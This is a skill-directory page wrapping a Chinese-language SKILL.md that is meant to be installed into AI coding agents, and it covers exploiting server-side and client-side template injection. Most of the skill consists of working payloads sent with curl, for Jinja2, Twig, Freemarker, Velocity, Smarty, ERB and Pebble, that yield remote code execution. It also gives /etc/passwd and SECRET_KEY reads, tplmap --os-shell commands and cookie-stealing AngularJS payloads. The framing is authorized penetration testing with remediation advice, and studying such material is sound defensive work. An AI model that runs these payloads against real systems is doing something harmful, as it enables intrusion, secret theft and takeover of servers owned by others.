exploiting-template-injection-vulnerabilities

检测并利用 Jinja2、Twig、Freemarker 等模板引擎中的服务器端模板注入(SSTI)漏洞,实现远程代码执行。

9 stars

Best use case

exploiting-template-injection-vulnerabilities is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

检测并利用 Jinja2、Twig、Freemarker 等模板引擎中的服务器端模板注入(SSTI)漏洞,实现远程代码执行。

Teams using exploiting-template-injection-vulnerabilities should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/exploiting-template-injection-vulnerabilities/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How exploiting-template-injection-vulnerabilities Compares

Feature / Agentexploiting-template-injection-vulnerabilitiesStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

检测并利用 Jinja2、Twig、Freemarker 等模板引擎中的服务器端模板注入(SSTI)漏洞,实现远程代码执行。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 利用模板注入漏洞(Exploiting Template Injection Vulnerabilities)

## 适用场景

- 在授权渗透测试中,当用户输入通过服务器端模板引擎渲染时
- 测试包含用户提供数据的错误页面、电子邮件模板、PDF 生成器或报告生成器时
- 评估允许用户自定义模板或通知消息的应用程序时
- 在参数中识别潜在 SSTI 时(例如 `{{7*7}}` 返回 `49`)
- 对 CMS 平台、营销工具或任何具有模板功能的应用程序进行安全评估时

## 前置条件

- **授权**:包含 RCE 测试范围的书面渗透测试协议
- **Burp Suite Professional**:用于拦截和修改模板参数
- **tplmap**:自动化 SSTI 利用工具(`git clone https://github.com/epinna/tplmap.git`)
- **SSTImap**:现代 SSTI 扫描器(`pip install sstimap`)
- **curl**:用于手动 SSTI 载荷测试
- **模板引擎知识**:Jinja2、Twig、Freemarker、Velocity、Mako、Pebble、ERB、Smarty

## 工作流程

### 步骤 1:识别模板注入点

查找用户输入被模板引擎处理的参数。

```bash
# 注入数学表达式以检测模板处理
# 如果服务器对表达式求值,则可能存在 SSTI

# 通用检测载荷
PAYLOADS=(
  '{{7*7}}'           # Jinja2, Twig
  '${7*7}'            # Freemarker, Velocity, Spring EL
  '#{7*7}'            # Thymeleaf, Ruby ERB
  '<%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)
  '{7*7}'             # Smarty
  '{{= 7*7}}'         # doT.js
  '${{7*7}}'          # AngularJS/Spring
  '#set($x=7*7)$x'   # Velocity
)

for payload in "${PAYLOADS[@]}"; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload -> "
  curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done

# 检查常见注入位置:
# - 包含反射输入的错误页面
# - 个人资料字段(姓名、简介、签名)
# - 电子邮件主题/正文模板
# - 包含自定义字段的 PDF/报告生成
# - 搜索结果页面
# - 反映 URL 路径的 404 页面
# - 通知模板
```

### 步骤 2:识别模板引擎

确定使用的模板引擎类型,以选择合适的利用技术。

```bash
# 引擎识别决策树:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) 或 EJS (Node.js)

# 区分 Jinja2 与 Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig

# 专门测试 Jinja2
curl -s "https://target.example.com/page?name={{config}}"
# 返回 Flask 配置 = Jinja2/Flask

# 测试 Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# 返回日期/时间 = Freemarker

# 测试 Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# 返回 1 = Velocity

# 测试 Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# 返回 test = Smarty

# 测试 Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# 返回类信息 = Pebble

# 使用 tplmap 自动检测引擎
python3 tplmap.py -u "https://target.example.com/page?name=test"
```

### 步骤 3:利用 Jinja2(Python/Flask)

通过 Jinja2 模板注入实现代码执行。

```bash
# 读取配置
curl -s "https://target.example.com/page?name={{config.items()}}"

# 访问密钥
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"

# Jinja2 RCE - 方法1:通过 MRO 访问 os 模块
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# Jinja2 RCE - 方法2:使用 cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# Jinja2 RCE - 方法3:使用 lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# 通过 Jinja2 读取文件
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# 枚举可用子类以寻找有用的类
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
```

### 步骤 4:利用 Twig(PHP)、Freemarker(Java)等引擎

针对不同引擎使用特定载荷进行利用。

```bash
# --- Twig (PHP) ---
# Twig RCE
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"

# Twig 文件读取
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"

# --- Freemarker (Java) ---
# Freemarker RCE
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"

# 替代 Freemarker RCE
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"

# --- Velocity (Java) ---
# Velocity RCE
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"

# --- Smarty (PHP) ---
# Smarty RCE
curl -s "https://target.example.com/page?name={system('id')}"

# --- ERB (Ruby) ---
# ERB RCE
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"

# --- Pebble (Java) ---
# Pebble RCE
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"
```

### 步骤 5:使用 tplmap 和 SSTImap 自动化测试

使用自动化工具进行全面测试和利用。

```bash
# tplmap - 自动化 SSTI 利用
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell

# tplmap 测试 POST 参数
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"

# tplmap 使用自定义请求头
python3 tplmap.py -u "https://target.example.com/page?name=test" \
  -H "Cookie: session=abc123" \
  -H "Authorization: Bearer token" \
  --os-cmd "whoami"

# SSTImap
sstimap -u "https://target.example.com/page?name=test"
sstimap -u "https://target.example.com/page?name=test" --os-shell

# tplmap 文件读取
python3 tplmap.py -u "https://target.example.com/page?name=test" \
  --download "/etc/passwd" "/tmp/passwd"

# Burp Intruder 方法:
# 1. 将请求发送到 Intruder
# 2. 标记可注入参数
# 3. 加载 SSTI 载荷列表
# 4. 通过匹配指标进行 Grep:"49"、错误消息、类名
```

### 步骤 6:测试客户端模板注入(CSTI)

评估 Angular/Vue/React 客户端模板中的表达式注入。

```bash
# AngularJS 表达式注入
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"

# AngularJS 沙箱绕过(1.6 之前版本)
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"

# Vue.js 表达式注入
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"

# 检查页面是否存在 AngularJS ng-app
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"

# 使用不同的 CSTI 载荷测试
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
  '{{$on.constructor("alert(1)")()}}'; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload: "
  curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
done
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| **SSTI** | 服务器端模板注入(Server-Side Template Injection)——注入在服务器端执行的模板指令 |
| **CSTI** | 客户端模板注入(Client-Side Template Injection)——向 AngularJS/Vue 模板注入表达式(导致 XSS) |
| **模板引擎(Template Engine)** | 处理包含占位符的模板文件并将其替换为数据的软件 |
| **沙箱逃逸(Sandbox Escape)** | 绕过模板引擎安全限制以访问危险函数 |
| **MRO(方法解析顺序)** | Python 类层次结构遍历,在 Jinja2 利用中使用 |
| **对象自省(Object Introspection)** | 使用 `__class__`、`__subclasses__()`、`__globals__` 遍历 Python 对象 |
| **盲 SSTI(Blind SSTI)** | 输出不直接可见的模板注入,需要带外技术 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| **tplmap** | 支持操作系统 Shell 功能的自动化 SSTI 检测与利用工具 |
| **SSTImap** | 支持多种模板引擎的现代 SSTI 扫描器 |
| **Burp Suite Professional** | 请求拦截和使用 Intruder 进行载荷模糊测试 |
| **Hackvertor(Burp 扩展)** | 用于绕过技术的载荷编码和转换 |
| **PayloadsAllTheThings** | GitHub 上的综合 SSTI 载荷参考 |
| **OWASP ZAP** | 主动扫描模式下的自动化 SSTI 检测 |

## 常见场景

### 场景 1:Flask 电子邮件模板注入
Flask 应用程序允许用户自定义电子邮件通知模板。自定义模板通过 Jinja2 渲染且没有沙箱保护,允许通过 `{{config.items()}}` 和子类遍历实现 RCE。

### 场景 2:Java CMS Freemarker 注入
基于 Java 的 CMS 允许管理员使用 Freemarker 编辑页面模板。低权限编辑者注入 `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}` 来执行命令。

### 场景 3:错误页面 SSTI
自定义 404 错误页面通过 Twig 模板反映请求的 URL 路径。请求 `/{{['id']|filter('system')}}` 导致服务器执行 `id` 命令。

### 场景 4:AngularJS 客户端注入
搜索页面使用带有 `ng-bind-html` 的 AngularJS 渲染结果。搜索 `{{constructor.constructor('alert(document.cookie)')()}}` 通过 AngularJS 表达式求值实现 XSS。

## 输出格式

```
## 模板注入发现报告

**漏洞**:服务器端模板注入(Jinja2)— RCE
**严重性**:严重(CVSS 9.8)
**位置**:GET /page?name=(name 参数)
**模板引擎**:Jinja2(Python 3.9 / Flask 2.3)
**OWASP 类别**:A03:2021 - 注入

### 复现步骤
1. 发送 GET /page?name={{7*7}} — 响应包含"49",确认 SSTI
2. 发送 GET /page?name={{config.SECRET_KEY}} — 返回 Flask 密钥
3. 发送 GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
4. 服务器返回:uid=33(www-data) gid=33(www-data)

### 已确认影响
- 以 www-data 用户身份实现远程代码执行
- 密钥泄露:Flask SECRET_KEY 已暴露
- 文件系统读取:/etc/passwd、应用程序源代码
- 潜在的内网横向移动

### 修复建议
1. 切勿将用户输入直接传递给模板渲染函数
2. 使用沙箱模板环境(Jinja2 SandboxedEnvironment)
3. 对模板变量实施严格的输入验证和白名单
4. 在可能的情况下使用无逻辑模板引擎(Mustache、Handlebars)
5. 为 Web 应用程序用户应用最小权限操作系统权限
```

Related Skills

triaging-vulnerabilities-with-ssvc-framework

9
from killvxk/cybersecurity-skills-zh

使用 CISA 的利益相关方特定漏洞分类(SSVC)决策树框架对漏洞进行分类和优先排序,产出可操作的修复优先级:Track、Track*、Attend 或 Act。

testing-for-xxe-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。

testing-for-xss-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。

testing-for-xss-vulnerabilities-with-burpsuite

9
from killvxk/cybersecurity-skills-zh

在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。

testing-for-xml-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。

testing-for-open-redirect-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。

testing-for-json-web-token-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。

testing-for-host-header-injection

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序的 HTTP Host 头部注入漏洞,以识别密码重置中毒、Web 缓存投毒、SSRF 以及虚拟主机路由操控风险。

testing-for-email-header-injection

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序邮件功能中的 SMTP 头部注入漏洞,这些漏洞允许攻击者注入额外的邮件头部、修改收件人,并通过联系表单实施垃圾邮件中继。

testing-for-business-logic-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

识别应用程序业务逻辑中的缺陷,这些缺陷允许价格操控、工作流绕过和权限提升,超出技术漏洞扫描器的检测范围。

testing-android-intents-for-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Android 进程间通信(IPC)中 Intent 的安全漏洞,包括 Intent 注入、未授权组件访问、 广播嗅探、PendingIntent 劫持和 ContentProvider 数据泄露。适用于评估 Android 应用导出组件 攻击面、测试 Intent 数据流或评估 IPC 安全性的场景。适合涉及 Android Intent 安全、IPC 测试、 导出组件分析或 Drozer 评估的相关请求。

prioritizing-vulnerabilities-with-cvss-scoring

9
from killvxk/cybersecurity-skills-zh

通用漏洞评分系统(CVSS)是由 FIRST(事件响应和安全团队论坛)维护的行业标准框架,用于评估漏洞严重性。CVSS v4.0 于 2023 年 11 月发布,引入了更精确的评分指标。